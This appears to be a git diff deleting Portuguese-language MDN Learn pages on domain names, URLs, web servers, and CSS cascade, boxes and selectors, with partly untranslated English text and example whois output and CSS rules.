Any Internet-connected computer can be reached through a public {{Glossary("IP")}} Address, which consists of 32 bits for IPv4 (they are usually written as four numbers between 0 and 255, separated by dots (e.g., 173.194.121.32) or which consists of 128 bits for IPv6 (they are usually written as eight groups of 4 hexadecimal numbers, separated by colons (e.g., 2027:0da8:8b73:0000:0000:8a2e:0370:1337). Computers can handle those addresses easily, but people have a hard time finding out who's running the server or what service the website offers. IP addresses are hard to remember and might change over time. To solve all those problems we use human-readable addresses called domain names.

- -

Aprendizagem Ativa

- -

There is no active learning available yet. Please, consider contributing.

- -

Deeper dive

- -

Estrutura dos nomes de domínio

- -

A domain name has a simple structure made of several parts (it might be one part only, two, three...), separated by dots and read from right to left:

- -

Anatomy of the MDN domain name

- -

Each of those  parts provides specific information about the whole domain name.

- -
-
{{Glossary("TLD")}} (Top-Level Domain).
-
The TLD provides the most generic information. TLDs tell users the general purpose of the service behind the domain name. The most generic TLDs (.com, .org, .net) don't require web services to meet strict criteria, but some TLDs enforce stricter policies. For example, local TLDs such as .us, .fr, or .sh can require the service to be provided in a given language or hosted in a certain country.
-
Label (or component)
-
The labels are what follow the TLD. A label can be anything, from one letter to a full sentence. The label located right before the TLD can also be referred as a Secondary Level Domain (SLD). A domain name can have many labels (or components), it is not mandatory nor necessary to have 3 labels to form a domain name. For instance, www.inf.ed.ac.uk is a correct domain name. When controlling the "upper" part of a domain name (e.g. mozilla.org), one can create other domain names (sometimes called "subdomains") (e.g. developer.mozilla.org).
-
- -

Comprar um nome de domínio

- -

Who owns a domain name?

- -

You cannot “buy a domain name”. You pay for the right to use a domain name for one or more years. You can renew your right, and your renewal has priority over other people's applications. But you never own the domain name.

- -

Companies called registrars use domain name registries to keep track of technical and administrative information connecting you to your domain name.

- -
-

Nota : For some domain name, it might not be a registrar which is in charge of keeping track. For instance, every domain name under .fire is managed by Amazon.

-
- -

Encontrar um nome de domínio disponível

- -

To find out whether a given domain name is available,

- -
    -
  • Go to a domain name registrar's website. Most of them provide a “whois” service that tells you whether a domain name is available.
  • -
  • Alternatively, if you use a system with a built-in shell, type a whois command into it, as shown here for mozilla.org:
  • -
- -
$ whois mozilla.org
-Domain Name:MOZILLA.ORG
-Domain ID: D1409563-LROR
-Creation Date: 1998-01-24T05:00:00Z
-Updated Date: 2013-12-08T01:16:57Z
-Registry Expiry Date: 2015-01-23T05:00:00Z
-Sponsoring Registrar:MarkMonitor Inc. (R37-LROR)
-Sponsoring Registrar IANA ID: 292
-WHOIS Server:
-Referral URL:
-Domain Status: clientDeleteProhibited
-Domain Status: clientTransferProhibited
-Domain Status: clientUpdateProhibited
-Registrant ID:mmr-33684
-Registrant Name:DNS Admin
-Registrant Organization:Mozilla Foundation
-Registrant Street: 650 Castro St Ste 300
-Registrant City:Mountain View
-Registrant State/Province:CA
-Registrant Postal Code:94041
-Registrant Country:US
-Registrant Phone:+1.6509030800
-
- -

As you can see, I can't register mozilla.org because the Mozilla Foundation has already registered it.

- -

On the other hand, let's see if I could register afunkydomainname.org:

- -
$ whois afunkydomainname.org
-NOT FOUND
-
- -

As you can see, the domain does not exist in the whois database (at the time of writing), so we could ask to register it. Good to know!

- -

Obter um nome de domínio

- -

The process is quite straightforward:

- -
    -
  1. Go to a registrar's website.
  2. -
  3. Usually there is a prominent “Get a domain name” call to action. Click on it.
  4. -
  5. Fill out the form with all required details. Make sure especially that you have not misspelled your desired domain name. Once it's paid for, it's too late!
  6. -
  7. The registrar will let you know when the domain name is properly registered. Within a few hours, all DNS servers will have received your DNS information.
  8. -
- -
-

Nota: In this process the registrar asks you for your real-world address. Make sure you fill it properly, since in some countries registrars may be forced to close the domain if they cannot provide a valid address.

-
- -

Atualizar DNS

- -

DNS databases are stored on every DNS server worldwide, and all these servers refer to a few ones called “authoritative name server” or “top-level DNS servers.” Whenever your registrar creates or updates any information for a given domain, the information must be refreshed in every DNS database. Each DNS server that knows about a given domain stores the information for some time before it is automatically invalidated and then refreshed (the DNS server queries an authoritative server again). Thus, it takes some time for DNS servers that know about this domain name to get the up-to-date information.

- -
-

Nota : This time is often called propagation time. However this term is not precise since the update is not propagating itself (top → down). DNS servers queried by your computer (down) are the ones that fetch the information from the authoritative server (top) when they need it.

-
- -

Como funciona um pedido de DNS?

- -

As we already saw, when you want to display a webpage in your browser it's easier to type a domain name than an IP address. Let's take a look at the process:

- -
    -
  1. Type mozilla.org in your browser's location bar.
  2. -
  3. Your browser asks your computer if it already recognizes the IP address identified by this domain name (using a local DNS cache). If it does, the name is translated to the IP address and the browser negotiates contents with the web server. End of story.
  4. -
  5. If your computer does not know which IP is behind the mozilla.org name, it goes on to ask a DNS server, whose job is precisely to tell your computer which IP address matches each registered domain name.
  6. -
  7. Now that the computer knows the requested IP address, your browser can negotiate contents with the web server.
  8. -
- -

Explanation of the steps needed to obtain the result to a DNS request

- -

Passos seguintes

- -

Okay, we talked a lot about processes and architecture. Time to move on.

- - - -
- - - - - -
diff --git a/files/pt-pt/learn/common_questions/what_is_a_url/index.html b/files/pt-pt/learn/common_questions/what_is_a_url/index.html deleted file mode 100644 index 498be31fc4..0000000000 --- a/files/pt-pt/learn/common_questions/what_is_a_url/index.html +++ /dev/null @@ -1,232 +0,0 @@ ---- -title: O que é um URL? -slug: Learn/Common_questions/What_is_a_URL -tags: - - Infraestrutura - - Principiante - - URL -translation_of: Learn/Common_questions/What_is_a_URL -original_slug: Learn/Questoes_comuns/O_que_e_um_URL ---- -
-

This article discusses Uniform Resource Locators (URLs), explaining what they are and how they're structured.

-
- - - - - - - - - - - - -
Prerequisites:You need to first know how the Internet works, what a Web server is and the concepts behind links on the web.
Objective:You will learn what a URL is and how it works on the Web.
- -

Resumo

- -

With {{Glossary("Hypertext")}} and {{Glossary("HTTP")}}, URL is one of the key concepts of the Web. It is the mechanism used by {{Glossary("Browser","browsers")}} to retrieve any published resource on the web.

- -

URL stands for Uniform Resource Locator. A URL is nothing more than the address of a given unique resource on the Web. In theory, each valid URL points to a unique resource. Such resources can be an HTML page, a CSS document, an image, etc. In practice, there are some exceptions, the most common being a URL pointing to a resource that no longer exists or that has moved. As the resource represented by the URL and the URL itself are handled by the Web server, it is up to the owner of the web server to carefully manage that resource and its associated URL.

- -

Aprendizagem Ativa

- -

There is no active learning available yet. Please, consider contributing.

- -

Deeper dive

- -

Basics: anatomy of a URL

- -

Here are some examples of URLs:

- -
https://developer.mozilla.org
-https://developer.mozilla.org/en-US/docs/Learn/
-https://developer.mozilla.org/en-US/search?q=URL
- -

Any of those URLs can be typed into your browser's address bar to tell it to load the associated page (resource).

- -

A URL is composed of different parts, some mandatory and others optional. Let's see the most important parts using the following URL:

- -
http://www.example.com:80/path/to/myfile.html?key1=value1&key2=value2#SomewhereInTheDocument
- -
-
Protocol
-
http:// is the protocol. It indicates which protocol the browser must use. Usually it is the HTTP protocol or its secured version, HTTPS. The Web requires one of these two, but browsers also know how to handle other protocols such as mailto: (to open a mail client) or ftp: to handle file transfer, so don't be surprised if you see such protocols.
-
Domaine Name
-
www.example.com is the domain name. It indicates which Web server is being requested. Alternatively, it is possible to directly use an {{Glossary("IP address")}}, but because it is less convenient, it is not often used on the Web.
-
Port
-
:80 is the port. It indicates the technical "gate" used to access the resources on the web server. It is usually omitted if the web server uses the standard ports of the HTTP protocol (80 for HTTP and 443 for HTTPS) to grant access to its resources. Otherwise it is mandatory.
-
Path to the file
-
/path/to/myfile.html is the path to the resource on the Web server. In the early days of the Web, a path like this represented a physical file location on the Web server. Nowadays, it is mostly an abstraction handled by Web servers without any physical reality.
-
Parameters
-
?key1=value1&key2=value2 are extra parameters provided to the Web server. Those parameters are a list of key/value pairs separated with the & symbol. The Web server can use those parameters to do extra stuff before returning the resource. Each Web server has its own rules regarding parameters, and the only reliable way to know if a specific Web server is handling parameters is by asking the Web server owner.
-
Anchor
-
#SomewhereInTheDocument is an anchor to another part of the resource itself. An anchor represents a sort of "bookmark" inside the resource, giving the browser the directions to show the content located at that "bookmarked" spot. On an HTML document, for example, the browser will scroll to the point where the anchor is defined; on a video or audio document, the browser will try to go to the time the anchor represents. It is worth noting that the part after the #, also known as the fragment identifier, is never sent to the server with the request.
-
- -

{{Note('There are some extra parts and some extra rules regarding URLs, but they are not relevant for regular users or Web developers. Don\'t worry about this, you don\'t need to know them to build and use fully functional URLs.')}}

- -

You might think of a URL like a regular postal mail address: the protocol represents the postal service you want to use, the domain name is the city or town,  and the port is like the zip code; the path represents the building where your mail should be delivered; the parameters represent extra information such as the number of the apartment in the building; and, finally, the anchor represents the actual person to whom you've addressed your mail.

- -

Como utilizar os URLs

- -

Any URL can be typed right inside the browser's address bar to get to the resource behind it. But this is only the tip of the iceberg!

- -

The {{Glossary("HTML")}} language — which will be discussed later on — makes extensive use of URLs:

- -
    -
  • to create links to other documents with the {{HTMLElement("a")}} element;
  • -
  • to link a document with its related resources through various elements such as {{HTMLElement("link")}} or {{HTMLElement("script")}};
  • -
  • to display medias such as images (with the {{HTMLElement("img")}} element), videos (with the {{HTMLElement("video")}} element), sounds and music (with the {{HTMLElement("audio")}} element), etc.;
  • -
  • to display other HTML documents with the {{HTMLElement("iframe")}} element.
  • -
- -

Other technologies, such as {{Glossary("CSS")}} or {{Glossary("JavaScript")}}, use URLs extensively, and these are really the heart of the Web.

- -

URLs absolutos vs URLs relativos

- -

What we saw above is called an absolute URL, but there is also something called a relative URL. Let's examine what that distinction means in more detail.

- -

The required parts of a URL depend to a great extent on the context in which the URL is used. In your browser's address bar, a URL doesn't have any context, so you must provide a full (or absolute) URL, like the ones we saw above. You don't need to include the protocol (the browser uses HTTP by default) or the port (which is only required when the targeted Web server is using some unusual port), but all the other parts of the URL are necessary.

- -

When a URL is used within a document, such as in an HTML page,  things are a bit different. Because the browser already has the document's own URL, it can use this information to fill in the missing parts of any URL available inside that document. We can differentiate between an absolute URL and a relative URL by looking only at the path part of the URL. If the path part of the URL starts with the "/" character, the browser will fetch that resource from the top root of the server, without reference to the context given by the current document.

- -

Let's look at some examples to make this clearer.

- -

Exemplos de URLs absolutos

- -
-
Full URL (the same as the one we used before)
-
-
https://developer.mozilla.org/en-US/docs/Learn
-
-
Implicit protocol
-
-
//developer.mozilla.org/en-US/docs/Learn
- -

In this case, the browser will call that URL with the same protocol as the the one used to load the document hosting that URL.

-
-
Implicit domain name
-
-
/en-US/docs/Learn
- -

This is the most common use case for an absolute URL within an HTML document. The browser will use the same protocol and the same domain name as the one used to load the document hosting that URL. Note: it isn't possible to omit the domain name without omitting the protocol as well.

-
-
- -

Exemplos de URLs relativos

- -

To better understand the following examples, let's assume that the URLs are called from within the document located at the following URL: https://developer.mozilla.org/en-US/docs/Learn

- -
-
Sub-resources
-
-
Skills/Infrastructure/Understanding_URLs
-
- Because that URL does not start with /, the browser will attempt to find the document in a sub-directory of the one containing the current resource. So in this example,  we really want to reach this URL: https://developer.mozilla.org/en-US/docs/Learn/Skills/Infrastructure/Understanding_URLs
-
Going back in the directory tree
-
-
../CSS/display
- -

In this case, we use the ../ writing convention — inherited from the UNIX file system world — to tell the browser we want to go up from one directory. Here we want to reach this URL: https://developer.mozilla.org/en-US/docs/Learn/../CSS/display, which can be simplified to: https://developer.mozilla.org/en-US/docs/CSS/display

-
-
- -

URLs semânticos

- -

Despite their very technical flavor, URLs represent a human-readable entry point for a Web site. They can be memorized, and anyone can enter them into a browser's address bar. People are at the core of the Web, and so it is considered best practice to build what is called semantic URLs.  Semantic URLs  use words with inherent meaning that can be understood by anyone, regardless of their technical know-how.

- -

Linguistic semantics are of course irrelevant to computers. You've probably often seen URLs that look like mashups of random characters. But there are many advantages  to creating human-readable URLs:

- -
    -
  • It is easier for you to manipulate them.
  • -
  • It clarifies things for users in terms of where they are, what they're doing, what they're reading or interacting with on the Web.
  • -
  • Some search engines can use those semantics to improve the classification of the associated pages.
  • -
- -

Passos seguintes

- - - -
- - - - - -
diff --git a/files/pt-pt/learn/common_questions/what_is_a_web_server/index.html b/files/pt-pt/learn/common_questions/what_is_a_web_server/index.html deleted file mode 100644 index 4be6ff278b..0000000000 --- a/files/pt-pt/learn/common_questions/what_is_a_web_server/index.html +++ /dev/null @@ -1,199 +0,0 @@ ---- -title: O que é um servidor da Web? -slug: Learn/Common_questions/What_is_a_web_server -tags: - - Infraestrutura - - Principiante -translation_of: Learn/Common_questions/What_is_a_web_server -original_slug: Learn/Questoes_comuns/O_que_e_um_servidor_da_Web ---- -
-

Neste artigo, nós examinamos quais são os servidores da Web, como é que estes funcionam, e por que é que eles são importantes.

-
- - - - - - - - - - - - -
Pré-requisitos:You should already know how the Internet works, and understand the difference between a web page, a web site, a web server and a search engine.
Objetivo:You will learn what a web server is and gain a general understanding of how it works.
- -

Resumo

- -

"Web server" can refer to hardware or software, or both of them working together.

- -
    -
  1. On the hardware side, a web server is a computer that stores a website's component files (e.g. HTML documents, images, CSS stylesheets, and JavaScript files) and delivers them to the end-user's device. It is connected to the Internet and can be accessed through a domain name like mozilla.org.
  2. -
  3. On the software side, a web server includes several parts that control how web users access hosted files, at minimum an HTTP server. An HTTP server is a piece of software that understands {{Glossary("URL","URLs")}} (web addresses) and {{Glossary("HTTP")}} (the protocol your browser uses to view webpages).
  4. -
- -

At the most basic level, whenever a browser needs a file hosted on a web server, the browser requests the file via HTTP. When the request reaches the correct web server (hardware), the HTTP server (software) sends the requested document back, also through HTTP.

- -

Basic representation of a client/server connection through HTTP

- -

To publish a website, you need either a static or a dynamic web server.

- -

A static web server, or stack, consists of a computer (hardware) with an HTTP server (software). We call it "static" because the server sends its hosted files "as-is" to your browser.

- -

A dynamic web server consists of a static web server plus extra software, most commonly an application server and a database. We call it "dynamic" because the application server updates the hosted files before sending them to your browser via the HTTP server.

- -

For example, to produce the final webpages you see in the browser, the application server might fill an HTML template with contents from a database. Sites like MDN or Wikipedia have many thousands of webpages, but they aren't real HTML documents, only a few HTML templates and a giant database. This setup makes it easier and quicker to maintain and deliver the content.

- -

Aprendizagem ativa

- -

Ainda não está disponível nenhuma aprendizagem ativa. Por favor, considere contribuir.

- -

Deeper dive

- -

To fetch a webpage, as we already said, your browser sends a request to the web server, which proceeds to search for the requested file in its own storage space. On finding the file, the server reads it, processes it as needed, and sends it to the browser. Let's look at those steps in more detail.

- -

Hosting files

- -

A web server first has to store the website's files, namely all HTML documents and their related assets, including images, CSS stylesheets, JavaScript files, fonts, and videos.

- -

Technically, you could host all those files on your own computer, but it's far more convenient to store them all on a dedicated web server that

- -
    -
  • is always up and running
  • -
  • is always connected to the Internet
  • -
  • has the same IP address all the time (not all {{Glossary("ISP", "ISPs")}} provide a fixed IP address for home lines)
  • -
  • is maintained by a third-party provider
  • -
- -

For all these reasons, finding a good hosting provider is a key part of building your website. Dig through the various services companies offer and choose one that fits your needs and your budget (services range from free to thousands of dollars per month). You can find more details in this article.

- -

Once you set up a web hosting solution, you just have to upload your files to your web server.

- -

Communicating through HTTP

- -

Second, a web server provides support for {{Glossary("HTTP")}} (Hypertext Transfer Protocol). As its name implies, HTTP specifies how to transfer hypertext (i.e., linked web documents) between two computers.

- -

A protocol is a set of rules for communication between two computers. HTTP is a textual, stateless protocol.

- -
-
Textual
-
All commands are plain-text and human-readable.
-
Stateless
-
Neither the server nor the client remember previous communications. For example, relying on HTTP alone, a server cannot remember a password you typed or what step you're on in a transaction. You need an application server for tasks like that. (We'll cover that sort of technology in further articles.)
-
- -

HTTP provides clear rules for how a client and server communicate. We'll cover HTTP itself in a technical article later on. For now, just be aware of these things:

- -
    -
  • Only clients can make HTTP requests, and then only to servers. Servers can only respond to a client's HTTP request.
  • -
  • When requesting a file via HTTP, clients must provide the file's {{Glossary("URL")}}.
  • -
  • The web server must answer every HTTP request, at least with an error message.
  • -
- -

The MDN 404 page as an example of such error pageOn a web server, the HTTP server is responsible for processing and answering incoming requests.

- -
    -
  1. On receiving a request, an HTTP server first checks whether the requested URL matches an existing file.
  2. -
  3. If so, the web server sends the file content back to the browser. If not, an application server builds the necessary file.
  4. -
  5. If neither process is possible, the web server returns an error message to the browser, most commonly "404 Not Found". (That error is so common that many web designers spend quite some time designing 404 error pages.)
  6. -
- -

Static vs. dynamic content

- -

Roughly speaking, a server can serve either static or dynamic content. "Static" means "served as-is". Static websites are the easiest to set up, so we suggest you make your first site a static site.

- -

"Dynamic" means that the server processes the content or even generates it on the fly from a database. This solution provides more flexibility, but the technical stack becomes more difficult to handle, making it dramatically more complex to build the website.

- -

Take for example the page you're reading right now. On the web server hosting it, there is an application server that takes article content from a database, formats it, puts it inside some HTML templates, and sends you the results. In this case, the application server is called Kuma and is built with Python (using the Django framework). The Mozilla team built Kuma for the specific needs of MDN, but there are many similar applications built on many other technologies.

- -

There are so many application servers that it's pretty hard to suggest a particular one. Some application servers cater to specific website categories like blogs, wikis or e-shops; others, called {{Glossary("CMS", "CMSs")}} (content management systems), are more generic. If you're building a dynamic website, take the time to choose a tool that fits your needs. Unless you want to learn some web server programming (which is an exciting area in itself!), you don't need to create your own application server. That's just reinventing the wheel.

- -

Passos seguintes

- -

Now that you are familiar with web servers, you could:

- - - -
- - - - - -
diff --git a/files/pt-pt/learn/css/building_blocks/cascade_and_inheritance/index.html b/files/pt-pt/learn/css/building_blocks/cascade_and_inheritance/index.html deleted file mode 100644 index a35e695b08..0000000000 --- a/files/pt-pt/learn/css/building_blocks/cascade_and_inheritance/index.html +++ /dev/null @@ -1,136 +0,0 @@ ---- -title: Cascata e herança -slug: Learn/CSS/Building_blocks/Cascade_and_inheritance -tags: - - CSS:Como_começar -translation_of: Learn/CSS/Building_blocks/Cascade_and_inheritance -translation_of_original: Web/Guide/CSS/Getting_started/Cascading_and_inheritance -original_slug: Web/CSS/Como_começar/Cascata_e_herança ---- -

{{ PreviousNext("CSS:Como começar:Como o CSS trabalha", "CSS:Como começar:Seletores") }}

- -

Esta página esboça como folhas de estilo interagem numa cascata, e como os elementos subordinados herdam o estilo do elementos primários.

- -

Você alterará à sua folha de estilo de amostra, usando herança para mudar o estilo de muitas partes do seu documento em um passo.

- -

Informação: Cascata e herança

- -

O estilo final para um elemento pode ser especificado em muitos lugares diferentes, que pode interagir num meio complexo. Esta interação complexa faz CSS poderoso, mas às vezes isto pode deixar confuso e difícil de depurar.

- -

Três códigos principais de informação de estilo formam uma cascata. Eles são:

- -
    -
  • O estilo padrão do navegador para a linguagem de marcação
  • -
  • O estilo especificado por um usuário que está lendo o documento
  • -
  • O estilo ligado ao documento pelo seu autor
  • -
- -

O estilo do usuário modifica o estilo padrão do navegador. O estilo do autor do documento então modifica algum outro estilo. Neste tutorial, você é o autor do seu documeto de amostra, e você trabalha somente com folhas de estilo do autor.

- - - - - - - - -
Exemplo
Quando você lê este documento no seu navegador Mozilla, parte do estilo que você vê, vem do padrão do seu navegador para HTML. -

Parte do estilo deve vir das configurações do seu navegador em Opções, ou de um arquivo userConten.css no seu perfil no navegador.

- -

Parte do seu estilo vem de folhas de estilo ligadas ao documento pelo server do wiki.

-
- -


- Quando você abre seu documento de amostra no seu navegador, os elementos STRONG são mais fortes do que o resto do texto. Isto vem do estilo padrão do seu navegador para o HTML.

- -

Os elementos STRONG são vermelhos, Isto vem da sua folha de estilo de amostra.

- -

Os elementos STRONG as vezes também herdam muito do estilo de elemento P, pois eles são subordinados. No mesmo caminho, o elemento P herda muito do estilo do elemento BODY.

- -

Para estilos em cascata, o autor das folhas de estilo tem prioridade, depois o leitor das folhas de estilo, e por último o padrão do navegador.

- -

Para estilos em herança, um nó subordinado tem prioridade sobre o estilo que herdou do nó principal.

- -

Estas não são as únicas propriedades que se aplicam. Uma página posterior neste turorial explicará mais.

- - - - - - - - -
Mais detalhes
CSS às vezes providencia um meio para o leitor anular o estilo do autor do documento, usando a palavra-chave !important. -

Este meio é para o autor do documento, você não pode sempre predizer exatamente o que os leitores verão.

- -

Se você quer saber todos os detalhes sobre cascata e herança, veja Assigning property values, Cascading, and Inheritance na CSS Specification.

-
- -

Ação: Usando herança

- -

Edite seu arquivo de amostra CSS.

- -

Adicione esta linha copiando e colando isto. Não importa realmente se você adicionar a linha antes ou depois da que já está lá. Entretando, adicionar isto no topo é mais lógico pois no seu documento o elemento P é primário ao elemento STRONG:

- -
p {color: blue; text-decoration: underline;}
-
- -

Agora atualize seu navegador para ver o efeito no seu documento de amostra. O sublinhado afeta todo o texto no parágrafo, incluindo as letras iniciais. Os elementos STRONG herdaram o estilo sublinhado do elemento primário P.

- -

Mas os elementos STRONG ainda são vermelhos. A cor vermelha é própria do estilo, então isto tem prioridade sobre a cor azul do seu elemento primário P.

- - - - - - - - -
- - - - - - - -
Antes
Cascading Style Sheets
-
- - - - - - - -
Depois
Cascading Style Sheets
-
- -

 

- - - - - - - - -
Desafio
Mude sua folha de estilo deixando somente as letras vermelhas sublinhadas: - - - - - - -
Cascading Style Sheets
-
- -

 

- -

O que vem depois?

- -

Se você teve dificuldade para entender esta página, ou se você tem algum comentário sobre ela, por favor contribua nesta página de Discussão.

- -

Sua folha de estilo de amostra especifica o estilo para os tags, P e STRONG, mudando o estilo dos elementos correspondentes em todo o seu documento original. A próxima página descreve como espeficar estilos em meios mais seletivos: Seletores

- -

{{ PreviousNext("CSS:Como começar:Como o CSS trabalha", "CSS:Como começar:Seletores") }}

diff --git a/files/pt-pt/learn/css/building_blocks/index.html b/files/pt-pt/learn/css/building_blocks/index.html deleted file mode 100644 index 62d3b77849..0000000000 --- a/files/pt-pt/learn/css/building_blocks/index.html +++ /dev/null @@ -1,360 +0,0 @@ ---- -title: Caixas -slug: Learn/CSS/Building_blocks -tags: - - CSS:Como_começar -translation_of: Learn/CSS/Building_blocks -translation_of_original: Web/Guide/CSS/Getting_started/Boxes -original_slug: Web/CSS/Como_começar/Caixas ---- -

{{ PreviousNext("CSS:Como começar:Listas", "CSS:Como começar:Disposição") }}

- -

Esta página descreve como você pode usar as CSS para controlar o espaço que um elemento ocupa quando é exibido.

- -

Em seu documento de amostra, você muda o espaçamento e adiciona regras decorativas.

- -

Informação: Caixas

- -

Quando seu navegador exibe um elemento, o elemento ocupa um espaço. Existem quatro partes do espaço que ele ocupa.

- -

No meio, está o espaço que o elemento precisa para exibir seu conteúdo. Em torno disso, está o enchimento. Em torno disso, está a borda. Em torno disso, está a margem.

- - - - - - - - -
-
-

margin

- -

border

- -
-

padding

- -
-

element

-
-
-
- -

A paleta cinza mostra partes da disposição.

-
-
-

 

- -

 

- -
-

 

- -
-

element

-
-
-
- -

Isto é o que você vê em seu navegador.

-
- -

O enchimento, a borda e a margem podem ter diferentes tamanhos no topo, na direita, em baixo e na esquerda do elemento. Qualquer ou todos estes tamanhos podem ser zero.

- -

O enchimento é sempre da mesma cor do fundo do elemento. Então quando você configura a cor de fundo, você vê a cor aplicada ao próprio elemento e ao seu enchimento. A margem é sempre transparente.

- - - - - - - - -
-
-

margin

- -

border

- -
-

padding

- -
-

element

-
-
-
- -

O elemento tem um fundo verde.

-
-
-

 

- -

 

- -
-

 

- -
-

element

-
-
-
- -

É isto que você vê no seu navegador.

-
- -

Bordas

- -

Você pode usar bordas para decorar elementos com linhas ou caixas.

- -

Para especificar a mesma borda em torno de todo o elemento, use a propriedade border. Especifique a largura (usualmente em pixels para exibir na tela), o estilo, e a cor.

- -

Os estilos são:

- - - - - - - - - - - - - - - - -
-
solid
-
-
dotted
-
-
dashed
-
-
double
-
-
inset
-
-
outset
-
-
ridge
-
-
groove
-
- -

Você pode também configurar o estilo para none ou hidden para remover a borda explicitamente, ou configurar a cor para transparent para fazer a borda invisível sem mudar a disposição.

- -

Para especificar bordas em um lado de cada vez, use as propriedades: border-top, border-right, border-bottom, border-left. Você pode usar isto para especificar uma borda em somente um lado, ou diferentes bordas em diferentes lados.

- - - - - - - - -
Exemplos
Esta regra configura a cor de fundo e a borda do topo dos elementos do cabeçalho: -
-
-h3 {
-  border-top: 4px solid #7c7; /* mid green */
-  background-color: #efe;     /* pale green */
-  color: #050;                /* dark green */
-  }
-
-
- -

O resultado deve ser como este:

- - - - - - - -
-

Cabeçalho elegante

-
- -


- Esta regra faz as imagens fáceis de ver dando-as uma borda com um cinza-médio em toda a volta:

- -
-
-img {border: 2px solid #ccc;}
-
-
- -

O resultado deve ser como este:

- - - - - - - - -
Imagem:Image:Blue-rule.png
-
- -

Margens e enchimento

- -

Use margens e enchimento para ajustar a posição dos elementos e para criar espaços ao redor deles.

- -

Use a propriedade margin ou a propriedade padding para configurar a largura da margem ou do enchimento respectivamente.

- -

Se você especificar uma largura, isto se aplicará em torno de todo o elemento (topo, direita, baixo e esquerda).

- -

Se você especificar duas larguras, a primeira se aplicará ao topo e à baixo, e a segunda à direita e à esquerda.

- -

Você pode especificar todas as quatro larguras na ordem: topo, direita, baixo, esquerda.

- - - - - - - - -
Exemplo
Esta regra diferencia parágrafos com a classe remark dando-os uma borda vermelha em toda a sua volta. -

O Enchimento em toda a volta separa um pouco a borda do texto.

- -

Uma margem esquerda identifica o parágrafo relativo ao resto do texto:

- -
-
-p.remark {
-  border: 2px solid red;
-  padding: 4px;
-  margin-left: 24px;
-  }
-
-
- -

O resultado deve ser como este:

- - - - - - - -
-

Aqui está um parágrafo normal.

- -

Aqui está um com observação.

-
-
- - - - - - - - -
Mais detalhes
Quando você usa margens e enchimento para ajustar o modo como os elementos são exibidos, suas regras de estilo interagem com o padrão dos navegadores de maneiras que podem ser complexas. -

Navegadores diferentes exibem os elementos diferentemente. Os resultados podem ser similares antes de sua folha de estilo mudar coisas. Algumas vezes isto pode fazer sua folha de estilo dar resultados surpreendedores.

- -

Para ter o resultado que você precisa, você pode ter que mudar a marcação do seu documento. A próxima página deste tutorial tem mais informações sobre isto.

- -

Para informações detalhas sobre enchimento, margens e bordas, veja Box model em CSS Specification.

-
- -

Ação: Adicionando bordas

- -

Edite seu arquivo CSS. Adicione esta regra para desenhar uma linha até o fim da página sobre cada cabeçalho:

- -
-
h3 {border-top: 1px solid gray;}
-
-
- -

Se você pegou o desafio na página anterior, modifique a regra que você criou, se não, adicione esta nova regra para adicionar um espaço em baixo de cada item da lista:

- -
-
li {
-  list-style: lower-roman;
-  margin-bottom: 8px;
-  }
-
-
- -

Atualize seu navegador para ver o resultado:

- - - - - - - -
-

(A) Os oceanos

- -
    -
  • Ártico
  • -
  • Atlântico
  • -
  • Pacífico
  • -
  • Índico
  • -
  • Antártico
  • -
- -

(B) Parágrafos numerados

- -

1: Lorem ipsum

- -

2: Dolor sit

- -

3: Amet consectetuer

- -

4: Magna aliquam

- -

5: Autem veleum

-
- - - - - - - - -
Desafio
Adicione uma regra à sua folha de estilo, fazendo um borda larga em toda a volta dos oceanos em uma cor que te lembre o mar — algo como isto: - - - - - - -
-

(A) Os oceanos

- -
-
    -
  • Ártico
  • -
  • Atlântico
  • -
  • Pacífico
  • -
  • Índico
  • -
  • Antártico
  • -
-
- -

(B) Parágrafos numerados

- -

. . .

-
- -

(Não é necessário fazer exatamente com a largura e a cor que usadas aqui.)

-
- -

O que vem depois

- -

Se você teve dificuldade para entender esta página, ou se você tem algum comentário sobre ela, por favor contribua nesta página de Discussão.

- -

Especificando margens e enchimento, você modificou a disposição do seu documento. Na próxima página você poderá mudar a disposição do seu documento de outras maneiras: Disposição

- -

{{ PreviousNext("CSS:Como começar:Listas", "CSS:Como começar:Disposição") }}

diff --git a/files/pt-pt/learn/css/building_blocks/selectors/index.html b/files/pt-pt/learn/css/building_blocks/selectors/index.html deleted file mode 100644 index d10ad5f044..0000000000 --- a/files/pt-pt/learn/css/building_blocks/selectors/index.html +++ /dev/null @@ -1,209 +0,0 @@ ---- -title: Seletores -slug: Learn/CSS/Building_blocks/Selectors -tags: - - CSS:Como_começar -translation_of: Learn/CSS/Building_blocks/Selectors -translation_of_original: Web/Guide/CSS/Getting_started/Selectors -original_slug: Web/CSS/Como_começar/Seletores ---- -

{{ PreviousNext("CSS:Como começar:Cascata e herança", "CSS:Como começar:CSS legível") }}

- -

Esta página explica como você pode aplicar estilos seletivamente, e como diferentes tipos de seletor têm propriedades diferentes.

- -

Você adiciona alguns atributos às tags do seu documento de amostra, e usa estes atributos em sua folha de estilo de amostra.

- -

Informação: Seletores

- -

CSS tem sua própria terminologia para descrever a linguagem CSS. Anteriormente neste tutorial, você criou uma linha em sua folha de estilo com esta:

- -
-
strong {color: red;}
-
-
- -

Na terminologia das CSS, esta linha inteira é uma regra. Esta regra começa com STRONG, que é um seletor. Isto seleciona que elementos no DOM a regra se aplicará.

- - - - - - - - -
Mais detalhes
A parte interior das chaves é a declaração. -

A palavra-chave color é uma propriedade, e red é um valor.

- -

O ponto-e-vírgula depois do par propriedade-valor separa isto de outros pares propriedade-valor na mesma descrição.

- -

Este tutorial refere-se a um seletor STRONG, como um seletor de tag. A Especificação das CSS refere-se a isto como um seletor de tipo.

-
- -

Esta página do tutorial explica mais sobre os seletores que você pode usar nas regras das CSS.

- -

Em adição aos nomes de tags, você pode usar valores de atributo nos seletores. Isto permite a você que as regras tornem-se mais específicas.

- -

Dois atributos tem estado especial para as CSS. Eles são class e id.

- -

Use o atributo class em uma tag para nomear a tag com um nome de classe. Isto é, o nome que você escolher para a classe.

- -

Na sua folha de estilo, digite um registro completo (período) antes do nome de classe quando você usá-lo em um seletor.

- -

Use o atributo id em uma tag para nomear a tag com um nome de id. Isto é, o nome que você escolher para o id. O nome do id deve ser único no documento.

- -

Na sua folha de estilo, digite um sinal de número (#) antes do id quando você usá-lo em um seletor.

- - - - - - - - -
Exemplos
Este tag HTML tem ambos os atributos class e id. -
-
-<P class="key" id="principal">
-
-
- -

O id, principal, deve ser o único no documento, mas outras tags no documento podem ter o mesmo nome de classe, key.

- -

Em uma folha de estilo CSS, esta regra faz todos os elementos da classe key verdes. (Eles podem não ser todos elementos P.)

- -
-
-.key {color: green;}
-
-
- -

